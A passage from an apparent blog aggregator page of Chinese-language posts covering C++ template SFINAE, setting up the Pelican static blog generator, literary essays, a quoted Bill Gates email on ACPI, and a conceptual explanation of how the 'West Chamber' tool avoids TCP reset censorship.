struct traits { static int const value = false; };

template <>
struct traits<A> { static int const value = true; };

template <typename T>
void f(T, typename enable_if<traits<T>::value>::type* = 0) { }

template <>
void f<A>(A, enable_if<traits<A>::value>::type*) { }



template <typename T>
class BB {};

template <typename T>
class DD : public BB<T> {};

template <typename T> void ff(BB<T>) {};

int main(int argc, char * argv[])
{
    A a; B b;
    DD<long> dd;
    //f(b);
    ff(dd);
}

奇怪的是重載決議的時候, f 的情況下它就不讓我特化的 f<A> 進來。

但是在 ff 的情況下, ff<BB<long>> 卻進來了。

在VC10和GCC3.4下測試

我的解答

我們來設身處地地作爲編譯器,看一遍到底發生了什麼。

約定符號 # : A#B 是把 B 帶入 A<T> 的參數 T 之後實例化得到的結果。

首先看ff的情況。

DD<long> dd;

處理到這句的時候,編譯器看到了 DD<long> 的實例化,於是去實例化 DD#long ,繼而實例 化了 BB#long

ff(dd);

這句,首先計算重載函數集合。

第一步,需要從參數 DD#long -> BB<T> 推斷 ff<T> T 。根據函數模板參數推斷規則:

:code:`class_template_name<T>` 類型的參數,可以用於推斷 :code:`T` 。

於是編譯器推斷 T long 。這裏就算不是 BB 而是完全無關的 CC 都可以推斷成功,只要 CC 也 是一個 CC<T> 形式的模板。

第二步,模板特化匹配。因爲只有一個模板,所以匹配了最泛化的 ff<T>

第三步,模板實例化。

推斷了 long -> T 之後,編譯器實例化 ff#long

重載函數集合: {ff#long}

然後重載抉擇找到唯一的可匹配的實例 ff#long ,檢查實際參數 DD#long 可以隱式轉換到 形式參數 BB#long ,從而生成了這次函數調用。

再來看f的情況。

f(b);

計算候選重載函數集合。

第一步,對所有 f 模板推斷實參。根據函數模板參數推斷規則:

帶有 :code:`T` 類型的參數,可以用於推斷 :code:`T` 。

於是 B -> T 被推斷出來了。

第二步,模板特化匹配。

這裏 B 不是 A ,所以不能用 f<A> 特化,只能用 f<T> 模板。

第三步,模板實例化。

B 帶入 f<T> 實例化成 f#B 的過程中,實例化 traits#B

由於沒有針對 B 的特化,所以用 traits<T> 模板, traits#B::value=false ,進而 enable_if#false 沒有 type ,出錯。

唯一的模板匹配出錯,重載函數集合爲空,SFINAE原則不能找到合適的匹配,於是報錯。

by farseerfc at February 25, 2012 08:54 PM

February 24, 2012

farseerfc

嘗試一下 Pelican

似乎一夜之間所有的 極客們 有了 自己Github主頁Octopress 博客。就像所有人在他們的博客中指出的,靜態博客的確比傳統的WordPress方式具有更多優勢。 自從看到這些 我就一直在想着自己搭一個 Octopress

但是似乎 Octopress 不適合我

一上手就被 Octopress的搭建步驟 煩到了。 RVM 是什麼? rbenv 又是什麼? 看來 Ruby 社區的快節奏發展已經超過了我的想象,他們似乎需要一套發行版管理器來調和不同版本之間的 Ruby 的兼容性問題。 雖然同樣的兼容性問題在 Python 社區也有 [1] ,不過總覺得 Python 至少還沒到需要一個發行版管理器的程度 [2]

真正的問題是我手上還沒有一個可以讓我隨便玩的 Linux 環境(真的想要……)。 而無論是 RVM 還是 rbenv 似乎都只支持 Unix/Linux/MacOSX 。 身爲極客就註定不能用 Windows 麼?(或許是的……)。

剩下的問題就是 Ruby 和 Python 兩大陣營的對立問題了。我不熟悉 Markdown , 相對來說比較喜歡 ReST 。 似乎無論哪邊都要 依賴 Pygments 作爲代碼着色器,那麼其實 Rubyist 也至少需要安裝 Python 。 我傾向於不依賴任何 Ruby 組件,最好沒有 C 擴展 的純 Python 實現。

於是我開始在 Github 上找 Python 的靜態博客引擎。 Flask 的作者 mitsuhiko 寫的 rstblog 看起來不錯,不過似乎沒有多少人在用。 Hyde 似乎很完善,不過默認的標記語言是 MarkDown , 又依賴於幾個 Ruby 組建,而且官方網站的設計實在太前衛。 最終我看到了 Pelican

[1]比如 Python 2.x 與 3.x 之間看似難以跨越的鴻溝,以及 PyPyCPythonStacklessCython 等各個實現之間的微妙差別。
[2]是的,我們有 easy_install ,我們有 pip , 不過這些都是包管理器,都是裝好特定的Python實現之後的事情。 Python實現本身還不需要包管理器來管理。 Python 的版本問題基本上也只需要 2to3.py3to2.py 這樣的輕量級轉換器就可以了,你不需要爲了安裝多個軟件而在硬盤裏留下多個不同版本的 Python 。 如果爲了引用的穩定性,你可以用 virtualenv ,不過這又是另一回事情了。

那麼就 Pelican

對我而言, Pelican 相比於 Octopress 有幾個好處:

  1. 純 Python 實現。 這意味着我可以換用任何 Python 解釋器而不必擔心兼容性問題。比如我就換成了 PyPy
  2. 多語言支持。因爲 Pelican 的作者似乎是個法國人。不過這個似乎大部分人不需要…… 我是想儘量把一篇博客寫成三種語言作爲鍛鍊吧。
  3. ReST 。這樣我就可以用 Leo 的 @auto-rst 直接寫 ReST了。簡單方便快捷有效。

不過似乎 Pelican 的關注度不如 Octopress 那麼高,現在一些部分還有細微的問題:

  1. pelican-import 從 WordPress 導入的時候對中文、日文的支持似乎很成問題。
  2. 日期格式、時區、字符集、和多語言功能的結合度還不夠。 我在嘗試改善它。
  3. 模板還不夠豐富。
  4. 插件也不夠多……

希望這麼優秀的工具能夠受到更多關注,以上這些問題都是增加關注度之後很快就能解決的問題。

我的設置 settings.py

安裝 Pelican 很容易,一句話就夠了:

$ pip install pelican

然後把文章寫成ReST的格式,放在`pages`文件夾裏面。(重新)生成只要:

$ pelican -s settings.py

上傳到 Github:

$ git commit -am "Commit message"
$ git push

就這麼簡單。附上我的配置文件:

# -*- coding: utf-8 -*-

TIMEZONE = 'Asia/Tokyo'

DATE_FORMATS = {
    'en':('usa','%a, %d %b %Y'),
    'zh':('chs','%Y-%m-%d, %a'),
    'jp':('jpn','%Y/%m/%d (%a)'),
}
# windows locale: http://msdn.microsoft.com/en-us/library/cdax410z%28VS.71%29.aspx
LOCALE = ['usa', 'chs', 'jpn',        # windows
          'en_US', 'zh_CN', 'ja_JP']  # Unix/Linux
DEFAULT_LANG = 'zh'

SITENAME = 'Farseerfc Blog'
AUTHOR = 'Jiachen Yang'

DISQUS_SITENAME = 'farseerfcgithub'
GITHUB_URL = 'https://github.com/farseerfc'
SITEURL = 'http://farseerfc.github.com'
TAG_FEED  = 'feeds/%s.atom.xml'

SOCIAL = (('twitter', 'http://twitter.com/farseerfc'),
          ('github', 'https://github.com/farseerfc'),
          ('facebook', 'http://www.facebook.com/farseerfc'),
          ('weibo', 'http://weibo.com/farseerfc'),
          ('renren', 'http://www.renren.com/farseer'),
          )


TWITTER_USERNAME = 'farseerfc'

THEME='notmyidea'
CSS_FILE = "wide.css"

DEFAULT_CATEGORY ='Others'
OUTPUT_PATH = '.'
PATH = 'posts'

by farseerfc at February 24, 2012 08:33 AM

September 26, 2011

farseerfc

關於我的Blogs

farseerfc.wordpress.com 導入

很久沒有寫過blog或者之類的東西了。這邊一直荒廢着。

由於國內被牆的原因,另一個wordpress: http://fchome.sinaapp.com/ 應該會同步更新這裏的內容。

抽空寫點什麼吧。

by farseerfc at September 26, 2011 05:35 PM

September 08, 2011

pythoncat

拾不起的朵朵曼珠沙华

1、9 月 2 日在同一地方拍的一组我非常喜欢的照片。我喜欢她们的原因在于,无论是现实细节还是抽象的韵味,她们让我惊叹不已——也许你要说我是自卖自夸,然而我认为就算是顾影自怜的行为也出自典雅的气质。
2、曼珠沙华,又名彼岸花。日本花语:“悲伤回忆” ;朝鲜花语:“相互思念”;中国花语:“优美纯洁”。——它们恰好意指了恋爱中人的三种状态,意指了三种不同的故事,如果片段已经漫长得自成故事。
3、年年岁岁花相似,岁岁年年人不同!嗯,这真是一句催命催泪的名句——它的婉转悱恻大概不适合于所有的人——但是它永远是这么回事:它迟早会来到你跟前。就像死亡,只是迟早的事。
4、花叶不相见,生生相错。兴许诗人喜欢自告奋勇要当大自然景象的代言人吧,而彼岸花的忧伤便源自于文人骚客引经据典而扭曲的气质了吧?生生相错,生死相离,本是同根生却是如此“折磨”,如果爱情——这算不算世界上最遥远的距离?
5、我注意到三个片段的顺序是变化的。其一,抛去旧的悲伤回忆,迎来新的优美纯洁,如此苦尽甘来峰回路转的故事,美则美,常人哪有不喜欢看大团圆结局的?然而,抛弃旧爱,隐藏旧伤,此时啊,难道人儿不是心意惶惶,难以信任别人了么?看谁诗言之情意深深说什么“曾经沧海难为水,除却巫山不是云”,舍去那些个容易变心的人,舍去那些个容易软弱人的时节,还真不难看出她对人情之初纯洁记忆的冲击力。爱情是要来抚平伤口的吗?爱情是要来化作甘霖的吗?
6、既然年岁不饶人,逝者如斯不依人,我该做如何看待?随波逐流,顺其自然吧,青青沧浪水中有馨香的胭脂,兴许划过陈迹赫赫的渡口,还有玉树后庭花的助兴。
7、试设想哦,现在是阳春三月,曼曼的风儿如柳,飘飘的柳儿如风,好一个宜人的年华不是?且发散了思维四处创造一个恰意的背景,例如可以添上清明的天,清白的云,青翠的湖水,试设想哦,你听到了隐隐而绵绵的鸟啼叫声,你还发现了好大一丛红的黄的争妍斗艳的花,在安静的树荫一处,巧巧地设置了长椅一方……如果爱情出现了,我们让这个故事的开始是优美纯洁的好不好?我不忍心把它摧残了哦,但是假设我们贪恋创造的乐趣,我们假传造物主有轻易不成人之美的喜好,就这样在他们之间强加怀疑、厌烦、背叛的魔障,终于让美好的爱情变成悲伤的回忆!那么,现在,也算我们创造了一个寒冬了吧?他们在冷风中颤抖,会不会思念起曾经的依靠,想起曾经的光和热呢?彼岸花再开的时候,他们会回到当年留连的地方凭吊么?他们会不会还耿耿着承诺,盼望着再见到思念的人儿呢,或者说,早已经割舍了旧情而折了良木栖息?路在何方哦——倘若要造出可比于开头的结局,需要半生的精力吧?
8、花叶不相见,这不是大自然的本然么?贯注于一端有利于植物生长,何来的像是比翼鸟失去一翼便不成完美爱情的悲恸?花自开放,虽说总不能逃脱于环境肥沃与贫瘠的约束,但总也不见得要成全人类移情的癖好。说什么并蒂莲,说什么连理枝,只算得上对美满婚姻的意淫,或者是要贯注一种天作之合的神圣——纵是花仙草圣,它们也许只会把爱情和婚姻看做两种性器的结合,这也说不准哦,它们是循着基因的密码生死枯荣,传宗接代只算一个插曲吧?
9、如果优美纯洁是新人给予的,那么它怎样才能如愿呢?有一种朋友的撮合吧,有一方的宽容和善解人意吧,有一人的觉悟和超越吧?记忆的伤是灵魂的伤——除了稀释淡化,不能减少它的作用。但是哦,树欲静的时候风儿不停息的骚扰——他说他可以忘掉过去与你重来呢,他说哦你愿意包容他吗?旧人的怀抱总是熟悉些,旧人的呼唤也是亲切些,但是再次失去的可能叫你害怕了吧?敏感的神经要膨胀了,如果没有雾霭你也要造出来它,如果有迷雾你会想象它后面有邪恶的嘴脸——浮生就要这一般的苍凉吗?退进都怕不是避风港,这还算天赐的青春么,为何如此的无所适从?
10、曼珠沙华,传说开在黄泉路上,死怨嗔恨的流毒侵入了它的根茎。毒哦,艳丽的毒,死亡的毒!染了毒的美好纯洁还能不能坚持到地老天荒呢?——你会自信地说这世上还有什么不是染了毒的呢?——但是,你也会一直的自信着你已经百毒不侵了么?
11、开在黄泉路上的彼岸花,会像一条血液的地毯吧,会是耀眼的路灯吧?——诱惑无辜的生灵,抑或是给亡灵以指引和安慰呢?
12、出生在阴冷潮湿的所在,生命的底色里缺少不了悲凉的部分么?你还这么努力地挣扎,呐喊出血迹满身为哪般?为了奔放的晴空里排云而上的鹤儿,为了散发热烈红艳的光芒?==你是在守候着谁么,等待于幽冥的地域?——我不害怕,我很爱他!
13、我是天空里的一片云/偶尔投影在你的波心。你忘记也好,但我指望你记住——我不是多情的公子。有时候翩然的离开是因为已经陶醉在你温柔的甜蜜,死在你一声亲昵的叫唤里;我不是迷恋了路边的野花,更不是消退了对你的激情,我从不害怕那些未知的负累!
14、婷婷玉立于青青青草之上,火把似的燃烧,燃烧像要把除了灰以外的人间都烧成了灰!婀娜升腾的是妖娆的花瓣,是散着热的情火,是熊熊燃烧成一路的曼珠沙华!——嫉妒的火,孤独的火,仇恨的火,欲望的火,总之是火!像火一样的花才配得上像火一样的女子。
15、每一朵曼珠沙华有一个跳跃的灵魂,有一段传奇的神话故事要向有人诉说。他们喜欢用沧桑的话音来吸引你的注意力,说起佛经的注解:“彼岸花,开一千年,落一千年,花叶永不相见。情不为因果,缘注定生死。”他们看惯了生死变换,为了不被忘却,也学会了不择手段——他们收藏了很多的素材,也学会了一些技巧,统统是要留住你,要你相信他们的虔诚。
16、很久很久以前,噢,请原谅我真的是不记得在多久以前,那时候神界的彼岸花有两个守护的精灵。一个精灵擅长舞蹈,看了的人都说它能化解心中的怨念郁结,就像白天赶走了黑夜;一个精灵擅长歌咏,听了的人都说它能增添心中的真善美好,就像太阳代替了月亮。这两个精灵啊,一个是花妖曼珠,一个是叶妖沙华——谁能不记得他们哦,被祝福着的两个精灵!他们疯狂地崇拜着对方,他们疯狂地爱恋着对方,他们对人们说他们要生生世世日日夜夜永永远远的守护在一起!可是啊,他们中了无情的诅咒:花开时叶落,叶落时花开,永不得相见。寻找爱人的倩影啊有千万年了还是不见,谛听爱人的情语啊有千万里了还是不闻——彼岸花站成了瞭望的灯塔,托举着虔诚祈祷的火把!……
17、想我了吗?你这么说过。但是我不知道你是对谁说的那句话。——傻傻的问自己,为什么不敢相信自己的直觉?
18、又是一个九月春秋了哦——一个月的春秋,那些巨变,那些温暖和冷漠的难以猜测,那些感性和理性的拉锯,苦!当你说,有些事不要强求,我怀疑你是不是暗示着我缺少更真挚的行动;当你说,像现在这样不是很好吗,你是不是要说我不值得你托付未来?
19、作为一朵彼岸花,我知道我和别的彼岸花是不一样的——那是基因和生长际遇的作用。我们的灵魂是独立而不求相同的东西:慵懒的花晒着暖暖的阳光,浮夸的花招徕着流浪的蝴蝶,爱八卦的那一团在窃窃私语里偷偷着乐,无为的花枕了石子听嘈杂的风声,勤勉的花默默收集着地底的水丝,灿烂过的花在复述着老掉牙的传奇,天真的花问着神秘的问题——“什么是问题?”…当然了,我不会把静止的一刻当做他们灵魂的常态,就像我从不陷于捉摸不定的苦恼。我老了,在意识到这个问题并认为它是一种责任的时候,我突然是睿智和宽容的;在其它时候,我只是一个孩子了,一个小小的真正的孩子。
20、有人说曼珠沙华是情花,中了花毒的人,一旦动情就会心如火烧生不如死,是这样吗?你不回答我就当你是默认了。——等等,世上根本没有情花这回事,如果真有爱情之毒,那也是中毒者人为的发明,为什么你要虚伪的承受这荣誉?你也是幽灵花、地狱花吧?你就卑贱的只配接受诅咒了!你现在为何还是一脸无辜的死相,难道你以为只要压抑波涛般汹涌的思想活动,我就不能接受你的脑电波,不能看透你的腐烂的发臭的歹毒的心肠了吗?
21、最是那凄迷的梦境让人难忘,空虚的梦城频频出现你的身姿;最是不能忘你绾系住的长发,用我不知道的手法;说过的没有实现的话,不管是不是玩笑,也许你忘了,也许我也记不起了,但是它们记录在我们都看得到的地方。
22、在我的旅程里,你不要离开得太远,因为当我离远的时候,你可能会迷路。
——2011-09-08 HAH

September 08, 2011 12:00 AM

August 06, 2011

pythoncat

碎碎念想之读《沉香屑·第一炉香》记

中学课本中选录过张爱玲的小说片段,我还读过她写的只言片语,但直到昨天,我才完整地读了她的小说。
别人对于她和她作品的评论我早已接触过,脑子里早也杂渗了对她们模糊的印象;然而,待品味过她的文字,我才有了自己的想法。
我认真读完的第一篇是《沉香屑·第一炉香》。
现在思路还未进入故事中,有点恍惚起这题目来了。
沉香屑似是一种香,难道跟沉香有密切的关系么?
两者我都未见识过,难道它还有特殊的象征意义么?
“第一”的字眼,我觉得像是系列作品的开端——那么,往后要看的作品,也便做这一部的文字叙述和感情倾向了吧?
有同学对张的评价是“一个很有个性的才女,感觉她是遗世而独立”。
在我看来,遗世而独立是一种飘然超越的姿态,是不与沧海做一粟的高度,有成仙成圣的清洁;照这种理解,在看完沉香屑后,我没觉得把它放在张身上会是贴切的。
张有陷于自身现实的痛苦,也有陷于小说世界的痛苦——她用痛苦衍生痛苦,也试图用痛苦压抑痛苦——她放大心灵细腻的优点而收敛应该广阔的视界,她用丰富的联想创造像是历史的现实而欲淡忘身在其中的自己的生活……
其实,这个时候我去评说作者,这种行为和产生的言辞都无甚意义;在说别人自欺欺人的时候,往往自己也是自欺欺人。
要定性总评这 53 页的故事,必然要搭进许多跟这个故事无关的东西;于是,要说张写的是一个悲剧,我会显得底气不足。
只好跟她一样说,这是“一支战前香港的故事”。
这一战不知是哪一战,但不管是哪一战,战前或是战后,张的文字都有一种魔力,让你在阅读时觉得像拉近来一幅画仔细就看清了色彩缓急的对照,又觉得像是被画吸进了去能听清风中的碎语又闻到雨季的南国泥臭。
在故事的开始,葛薇龙还是个在传统和时髦服装混搭下“非驴非马”的中学学生妹,从上海来到殖民地香港要读书两年。
她的外貌还是“温柔敦厚的古中国情调”,“年轻脸嫩”,等见识过丫环和姑妈后,觉得委屈就“滚下来两行泪珠”。
她是“娇养惯的”,但是有自主想法,为人单纯善良,就算加上她打发陈妈和偷试衣服时的小小虚荣心,她还是一个中国式的良家女孩。
姑妈梁太太是个名声和行迹都不干净的有钱寡妇,也自称“自甘下贱,败坏门风”“我就是小性儿!我就是爱嚼这陈谷子烂芝麻!”
第一天照面之后,葛薇龙“看她姑妈是个有本领的女人,一手挽住了时代的巨轮,在她自己的小天地里,留住了满清末年的淫逸空气,关起门来做小型慈禧太后。
”她姑妈长得娇小个子,“脸是白皙中略透青苍,嘴唇上一抹紫黑色的胭脂”,而眼睛是“似睡非睡的”。
外貌还可见,内心呢,长了一个毒瘤!
但凡上了一定岁数的人,阅历中有足够的人事变迁和社会变更,她/他便是一个复杂的复合体了。
他们有一套不易改变的价值观和生活法则,在心底和外界环境的惯性推动下,像车轮一样咕噜咕噜循环着转——碾碎一切障碍,甚至把途中的一切拉着转动。
薇龙要寄住姑妈家,自知是“睁着眼走进了这鬼气森森的世界”,这时她还是青莲不惧污泥的姿态,“只要我行得正,立得正,不怕她不以礼相待”。
她对待学业是认真的,两三个月后忙于诸多应酬还能“夜里补上时间念书念到天亮”。
但是,在这勾心斗角的上流社会中,各处遍布的是有形无形的漩涡,底下还藏着吃人的嘴脸,坠入其中便是血肉模糊,再也出不来了。
入住之前,她还算立场明确,往后的故事,兴许可作青蛙在烂泥潭中生存的故事了。
从世俗恶俗的角度看,梁太太就像青楼的妈妈,而薇龙呢,到最后,“不是替梁太太弄钱,就是替梁太太弄人”。
弄钱好解释,那些想吃天鹅肉的癞蛤蟆要破财才能接近姑侄俩。
至于弄人呢,那些个想追求薇龙的人,必须得先和梁太太攀交情,而她这时会使出擅长的把戏,让他们“弄假成真,坠入情网”,最后一个个成了她石榴裙下的风流鬼。
她是个精明的物质主义者,“毅然嫁给了一个年逾耳顺的富人,专侯他死”,丈夫死后,“心里的饥荒”使她需要“许多人的爱”!手下的丫环,还有这侄女,便成了她的工具了。
丫环睇睇和梁寡妇闹翻时嚷道“乔家一门子老的少的,你都一手包办了,他家七少奶新添的小少爷,只怕你早下了定了。连汽车夫你都不放过……”
这样让人难堪的言辞并没有牵动梁太太多大的肝火,她竟还流露出一种得意,认为这一切理所当然——她可不打算否认自己是个人尽可夫的主儿!
虽说这睇睇也是促成“肮脏,复杂,不可理喻的现实”的一份子,但她也敢于抗争,不愿妥协沉溺下去;如果说她有积极的意义,那她象征的就是自由独立的力量,是人性道德之光。
形成鲜明对比的是另一个丫环睨儿,她精明而势利,刻薄而善于讨人欢喜,心肠不坏却维喏软弱、安于现状;待到奸情撞发而挨打时,“也不还手,也不辩白,也不告饶”,她就像一个没有自由意志的供人取乐的人偶,是腐朽的上流社会的牺牲品。
两个丫环代表了两种应对“肮脏,复杂,不可理喻的现实”的态度,两种不同的力量,两种不同的命运。
前一种是不服的,是要抗争的,后一种是顺从的,是去适应的——这种矛盾其实是“生命不可承受的轻与重”的矛盾,也是人性对“灵与肉”选择的矛盾——它们存在于每个人的心中,或清晰或暗淡,但永不泯灭。
这两种态度也折磨着薇龙,她的选择是什么,她的命运又是什么样?
豆蔻年华,少女怀春,薇龙对卢兆麟有好感,而卢对她似乎也有同样的心情。梁姑妈岂有不知,横刀夺爱之后,竟也觉得“有些心虚”。
当卢眼光灼灼多看另一社交花时,薇龙“心里便像汽水加了柠檬汁,咕嘟咕嘟冒酸泡儿”,而到姑妈已经和卢打得火热时,她是“一点儿不生气”还“连怒都不敢怒了”!
嘴上说过她和卢是“八字还没有一撇”,但是看到姑妈和卢四眼含情“难解难分”时,“忍不住一口气堵住了喉咙口,噎得眼圈子都红了”。
因着卢兆麟一事,她痛恨着姑妈,但更多的就是无奈和妥协了——青蛙在泥潭的一角蹲得不舒服便要挪一处地方——她很快把注意力转移到“唯一能抗拒梁太太魔力的人”。
到这里,是她第一次的报复和抗争吧——虽然是偶然的,也没有多少破坏力的。
青蛙被黑土濯污,不舒服了跳进个小水洼,但是别忘了,她始终还在这臭泥潭的魔爪中!
这个人便是乔琪。这个长相苍白,“和石膏像一般”的人,他的眼睛“像风吹过的早稻田,时而露出稻子下的水的青光,一闪,又暗了下去”。
他的柔情蜜意便像眼里的青光,而长久的暗着的部分便是消极颓丧、纵欲贪欢的真面目。
在认识薇龙之前,梁太太利用睇睇来引他上钩,“香饵是被他吞了,他还是优游自在,不受羁束”,他还敢借梁太太做幌子去接近别的女人——这让梁太太怒不可遏。
他就是一个无所事事而四处留情的登徒子,像是烂泥潭里离了水面的小块平地,看似可以落脚,殊不知地底下尽是被他吞食血肉后的枯骨。
听过睨儿现实功利的分析后,薇龙对卢“寸步留心”,冷淡了许多。
要在“肮脏,复杂,不可理喻的现实”中生存,必须学会小心翼翼。
但是,这臭泥潭中除了不可靠的烂泥外,还有伪装是烂泥却随时会扑上来张开血盆大口的食人鳄——姑妈准备牺牲她来笼络老情人——它是吃人都不吐骨头的恶魔啊!
梁太太资助薇龙上学,收留她在身边,本意就是做一次投资;辞退睇睇后,薇龙更是被当做了“替工”。
“像今天这一类事,是不可避免的”,“也不见得限于这一次”。
推却吧!离开吧!
心中有道德的声音来提醒:小青蛙你快离开这泥潭吧,趁现在还来得及!
离开这儿?“三个月的工夫,她对于这里的生活已经上了瘾了。”
离开之后,又会怎样呢?
离开之后能找到一个既有钱又合意的丈夫么?
跳出一个泥潭之后,说不定是一个更恐怖的泥潭呢——你是这样想的么?
内心起波澜的时候,她想起乔琪,想起他求爱的种种——她知道他不是真心真意的——但是“她对爱认了输”!!
可怜的薇龙啊,你相信有乔家的背景是“不怕没有活路可走”的,你还天真地以为“只要他的妻子爱他,并且相信他,他什么事不能做?”——什么事都能做,真的是什么事都能啊!
你相信他会变得积极上进,静下心来做些正经事业,你相信自己可以与狼共舞!——这个却是不能做的啊!
“我不能答应你结婚,我也不能答应你爱,我只能答应你快乐”,听到乔琪对你说这样的话,你难过你伤心,但是,你也是有病的!
你可以很容易满足于乔给你的一夜情的愉快回忆,那么固执而自卑地爱着他,还“完全是为了他不爱你的缘故”!
你庆幸自己得到了梁太太抢不走的爱,还觉得这是“新的安全,新的力量,新的自由”。
你是有病的,你开始认同只要快乐就好了,去谈爱去结婚的人都是傻瓜!
——莫非一只青蛙在泥潭中呆久了,吸入了足够的臭气,她吐出的气息也会变得腐朽吗?
薇龙喜欢把头枕在胳膊弯里,这时候她就感觉无数小小的冷冷的快乐,像金铃一般在她的身体的每一部分摇头。
把头枕在胳膊弯这个“可爱的姿势”原是乔琪特别的习惯,它“引起薇龙一种近于母性爱的反应”,让她有一种“软溶溶,暖融融的感觉”。
也许每个人都有特殊的癖好,也许这个姿势于她有很久远的记忆,也许她莫名地喜欢这个姿势带来的快感,然后,她才爱上了他?
或者是,她因为喜欢他,爱屋及乌,因而也喜欢上它?
——谁知道呢,“爱”本身不就是一个莫名其妙的令人费解的字眼么?
如果要讨论“爱”,这里是少不了社会道德律的参与的,但是,谁又能规定它是我必须受到约束的真理呢?
只有妥协了,顺应了这个时代的道德观和价值观的人才会认可爱的责任,认为忠贞是理所当然的。
但是,显然乔琪是不吃这一套的。和薇龙发生关系的当晚,他又“顺手牵羊吊上了睨儿”。
这被薇龙撞见了,她如何能不气,如何能不伤心?
这下要认清乔的真面目,这下要死了心,这下要离开了吧?
向睨儿撒气之后,薇龙终于决意要回上海去“做一个新的人”。
但是,要离开这个无边的烂泥潭会是一件容易事么?
树欲静而风不止啊!更何况,这树,是在骨子底里下定了决心要静下去么?!
起风了,第一阵是姑妈虚假的好意和兜兜转转的恶毒心肠,第二阵是乔琪的糖衣炮弹;这些伎俩没有作用,她还是坚持要走。
接着,第三阵,是真的风雨来了,她“感冒转肺炎”,病倒了!
本就是一个脆弱的人,躺在病床上,她变得更加不堪一击了。
这时候,第四阵风,最强的一阵风,她自己,来了!
人的内心里藏着向善和向恶两种力量,扮演着积极和消极两种角色,它们处在无休止的斗争中——人的一生可作自己与自己斗争的历史——在历练后,有一种力量会长久地占据上风,于是有的人升华了,有的人堕落了。
不幸的是,在薇龙这片战场上,后一种力量胜出了。
“为了适应环境,她新生的肌肉深深地嵌入了生活的栅栏里,拔也拔不出”——她向这“肮脏,复杂,不可理喻的现实”妥协了!
当她向姑妈说出“你让我慢慢地学呀”,我真切地听到了一只癞蛤蟆的声音——烂泥潭里的青蛙已经变成一只蛤蟆了,那么丑陋,那么不堪入目,那么肮脏,那么不可理喻,那么让人悲哀和同情!
如果你要说,是因为烂泥腐蚀了她的皮肤才使她变了形,那么,不止是进化论的粉丝会否定你,我也要说,是她的基因——她的立场她的原则她的人生观——变异了,她才会变成这样。
而她早应该离开的烂泥潭本来就是一个烂泥潭而已!
一心向学,加上梁太太的提拔,妥协之后的薇龙很快就和乔琪结了婚,也轻易俘获了别的情人的芳心。
她终于是整天忙着,“不是替梁太太弄钱,就是替梁太太弄人”;算得上是快乐的时候就是“阴历三十夜她和乔琪两个人单独的到湾仔看热闹”!
她的未来是“无边的荒凉,无边的恐怖”。
当他们走到妓女揽客的街道,她说道“我跟她们有什么分别?”“她们是不得已,我是自愿的!”
这时候,她的心里是无边的寒冷,无边的黑暗,还是无边的安静,无边的从容呢?
这时候,她是否还记得自己曾叹息姑妈的可怜呢?
这时候,她是要自己来嘲笑自己的可怜,还是要等别人来惋惜她的命运呢?
——如果真有别人,是不会包括梁太太和乔琪的。
在新婚前,梁太太曾对乔琪说,等七八年薇龙不能挣钱养家了,“你尽可以离婚”,“你要抓到对方犯奸的证据还不容易?”
姑妈是如此地“关照”着她,而乔琪也敢于厚颜无耻地卖弄说“我从来没对你说过一句谎”!
那么,诚如张爱玲在结尾所说,“薇龙的一炉香,也快烧完了”!
张爱玲讲完故事了,我也复述完故事了。
但是我突然地觉得自己没有资格说葛薇龙有病——说一个人肉体有病,医生是权威;而要说一个人心理有病,心理没病的人才算是权威——而我还解不开这个悖论!
对于这个故事,我实在难以忘记的是薇龙去定船票回来的一个夜晚。
那个时候——“天完全黑了,整个世界像一张灰色的圣诞卡片,一切都是影影绰绰的,真正存在的只有一朵一朵挺大的象牙红,简单的,原始的,碗口大,桶口大”……
——写于 2011.8.6,改于2019.7.29

August 06, 2011 12:00 AM

March 14, 2011

farseerfc

“…if we do this work … ” --Bill Gates

導入自 renren

From: Bill Gates

’-- Sent: Sunday, January 24, 1999 8:41 AM

Jeff Westorinon; Ben Fathi ;

TO: Carl Stork (Exchange); Nathan Myhrvofd; Eric Rudder

Subject: ACPI extensions

One thing I find myself wondering about is whether we shouldn’t try and make the "ACPI" extensions somehow Windows specific.

It seems unfortunate if we do this work and get our partners to do the work and the result is that Linux works great without having to do the work.

Maybe there is no way to avoid this problem but it does bother me.

Maybe we could define the APIs so that they work well with NT and not the others even if they are open.

Or maybe we could patent something relaled to this.

From:

http://antitrust.slated.org/www.iowaconsumercase.org/011607/3000/PX03020.pdf

如果這就是我至今在Xen4.0上得不到ACPI 3.0的完善支持的原因,那麼我詛咒Bill Gates!

by farseerfc at March 14, 2011 11:34 AM

March 17, 2010

farseerfc

[zz]“西廂計劃”原理小解

farseerfc.wordpress.com 導入

好神奇的想法,先存着,以後慢慢研究

原文: http://blog.youxu.info/2010/03/14/west- chamber/

待月西廂下,迎風戶半開。隔牆花影動,疑是玉人來。

最近推上最流行的一個關鍵詞是”西廂計劃”, 這個計劃名字取得很浪漫,客戶端叫做張生,對,就是西廂記裏面那個翻牆去見崔鶯鶯小姐的張生;顯然,服務器端必然叫做崔鶯鶯。客戶端的張生是最重要的部件,可以不依賴於服務端工作。因爲西廂計劃的作者只是簡要的介紹了一下原理,其他報道又語焉不詳,我當時就覺得很好奇,花了昨天一個晚上詳細讀了一下源代碼,終於知道怎麼回事了,覺得原理非常漂亮,所以寫篇文章介紹總結一下。

先說大方向。大家都知道,連接被重置的本質,是因爲收到了破壞連接的一個 TCP Reset 包。以前劍橋大學有人實驗過,客戶端和服務器都忽略 Reset, 則通信可以不受影響。但是這個方法其實只有理論價值,因爲絕大多數服務器都不可能忽略 Reset 的 (比如 Linux, 需要 root 權限配置iptables, 而且這本身也把正常的 Reset 給忽略了)。只要服務器不忽略 Reset, 客戶端再怎麼弄都沒用,因爲服務器會停止發送數據,Reset 這條連接。所以,很多報道說西廂計劃是忽略 Reset, 我從源代碼來看應該不是這樣。在我看來,西廂計劃是利用了牆的一個可能的弱點–牆只在連接發起的時候把一個 TCP 連接加入監聽序列,如果牆認爲這個連接終止了,就會從監聽序列中去掉這條記錄,這樣,這條連接上後續的包就不會被監聽。西廂計劃就是讓牆“認爲”這個連接終止的一個絕妙的方法。只要牆認爲這個連接兩端都是死老虎,牆就不會觸發關鍵詞檢測,其後所有的數據,都不存在連接被重置的問題了。

